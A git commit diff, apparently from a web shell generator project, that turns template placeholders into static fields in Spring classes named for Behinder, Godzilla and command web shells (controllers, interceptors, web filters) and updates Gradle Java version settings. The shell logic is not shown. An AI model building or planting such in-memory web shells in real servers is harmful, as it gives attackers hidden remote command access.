fix: spring shell generate error

This commit is contained in:
ReaJason
2025-01-03 00:43:03 +08:00
parent 2da2e180cb
commit 393693b89b
14 changed files with 44 additions and 38 deletions
@@ -17,9 +17,9 @@ import java.util.Map;
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class BehinderControllerHandler extends ClassLoader implements Controller { public class BehinderControllerHandler extends ClassLoader implements Controller {
public String pass = "{{pass}}"; public static String pass;
public String headerName = "{{headerName}}"; public static String headerName;
public String headerValue = "{{headerValue}}"; public static String headerValue;
@SuppressWarnings("all") @SuppressWarnings("all")
public Class<?> g(byte[] b) { public Class<?> g(byte[] b) {
@@ -17,9 +17,9 @@ import java.util.Map;
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor { public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String pass = "{{pass}}"; public static String pass;
public String headerName = "{{headerName}}"; public static String headerName;
public String headerValue = "{{headerValue}}"; public static String headerValue;
@SuppressWarnings("all") @SuppressWarnings("all")
public Class<?> g(byte[] b) { public Class<?> g(byte[] b) {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class CommandControllerHandler implements Controller { public class CommandControllerHandler implements Controller {
public String paramName = "{{paramName}}"; public static String paramName;
public CommandControllerHandler() { public CommandControllerHandler() {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class CommandInterceptor implements AsyncHandlerInterceptor { public class CommandInterceptor implements AsyncHandlerInterceptor {
public String paramName = "{{paramName}}"; public static String paramName;
public CommandInterceptor() { public CommandInterceptor() {
@@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class GodzillaControllerHandler extends ClassLoader implements Controller { public class GodzillaControllerHandler extends ClassLoader implements Controller {
public String key = "{{key}}"; public static String key;
public String pass = "{{pass}}"; public static String pass;
public String md5 = "{{md5}}"; public static String md5;
public String headerName = "{{headerName}}"; public static String headerName;
public String headerValue = "{{headerValue}}"; public static String headerValue;
public GodzillaControllerHandler() { public GodzillaControllerHandler() {
} }
@@ -15,11 +15,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
public String key = "{{key}}"; public static String key;
public String pass = "{{pass}}"; public static String pass;
public String md5 = "{{md5}}"; public static String md5;
public String headerName = "{{headerName}}"; public static String headerName;
public String headerValue = "{{headerValue}}"; public static String headerValue;
public GodzillaInterceptor(ClassLoader c) { public GodzillaInterceptor(ClassLoader c) {
super(c); super(c);
@@ -14,7 +14,7 @@ import java.util.Optional;
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class CommandHandlerFunction implements HandlerFunction<ServerResponse> { public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
public String paramName = "{{paramName}}"; public static String paramName;
@Override @Override
public Mono<ServerResponse> handle(ServerRequest request) { public Mono<ServerResponse> handle(ServerRequest request) {
@@ -11,7 +11,7 @@ import java.io.InputStreamReader;
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class CommandHandlerMethod { public class CommandHandlerMethod {
public String paramName = "{{paramName}}"; public static String paramName;
public CommandHandlerMethod() { public CommandHandlerMethod() {
} }
@@ -16,7 +16,7 @@ import java.nio.charset.StandardCharsets;
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class CommandWebFilter extends ClassLoader implements WebFilter { public class CommandWebFilter extends ClassLoader implements WebFilter {
public String paramName = "{{paramName}}"; public static String paramName;
@Override @Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
@@ -14,11 +14,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> { public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction<ServerResponse> {
public String key = "{{key}}"; public static String key;
public String pass = "{{pass}}"; public static String pass;
public String md5 = "{{md5}}"; public static String md5;
public String headerName = "{{headerName}}"; public static String headerName;
public String headerValue = "{{headerValue}}"; public static String headerValue;
public Class<?> payload; public Class<?> payload;
public GodzillaHandlerFunction() { public GodzillaHandlerFunction() {
@@ -13,11 +13,11 @@ import java.io.ByteArrayOutputStream;
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class GodzillaHandlerMethod extends ClassLoader { public class GodzillaHandlerMethod extends ClassLoader {
public String key = "{{key}}"; public static String key;
public String pass = "{{pass}}"; public static String pass;
public String md5 = "{{md5}}"; public static String md5;
public String headerName = "{{headerName}}"; public static String headerName;
public String headerValue = "{{headerValue}}"; public static String headerValue;
public Class<?> payload; public Class<?> payload;
public GodzillaHandlerMethod() { public GodzillaHandlerMethod() {
@@ -18,11 +18,11 @@ import java.nio.charset.StandardCharsets;
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class GodzillaWebFilter extends ClassLoader implements WebFilter { public class GodzillaWebFilter extends ClassLoader implements WebFilter {
public String key = "{{key}}"; public static String key;
public String pass = "{{pass}}"; public static String pass;
public String md5 = "{{md5}}"; public static String md5;
public String headerName = "{{headerName}}"; public static String headerName;
public String headerValue = "{{headerValue}}"; public static String headerValue;
public Class<?> payload; public Class<?> payload;
public GodzillaWebFilter() { public GodzillaWebFilter() {
+4 -1
View File
@@ -6,7 +6,10 @@ plugins {
group = 'com.reajason.javaweb.vul' group = 'com.reajason.javaweb.vul'
version = '' version = ''
sourceCompatibility = '1.8'
java {
sourceCompatibility = JavaVersion.VERSION_1_8
}
dependencies { dependencies {
implementation 'org.springframework.boot:spring-boot-starter-webflux' implementation 'org.springframework.boot:spring-boot-starter-webflux'
+4 -1
View File
@@ -7,7 +7,10 @@ plugins {
group = 'com.reajason.javaweb.vul' group = 'com.reajason.javaweb.vul'
version = '' version = ''
sourceCompatibility = '1.8'
java {
sourceCompatibility = JavaVersion.VERSION_1_8
}
repositories { repositories {
mavenCentral() mavenCentral()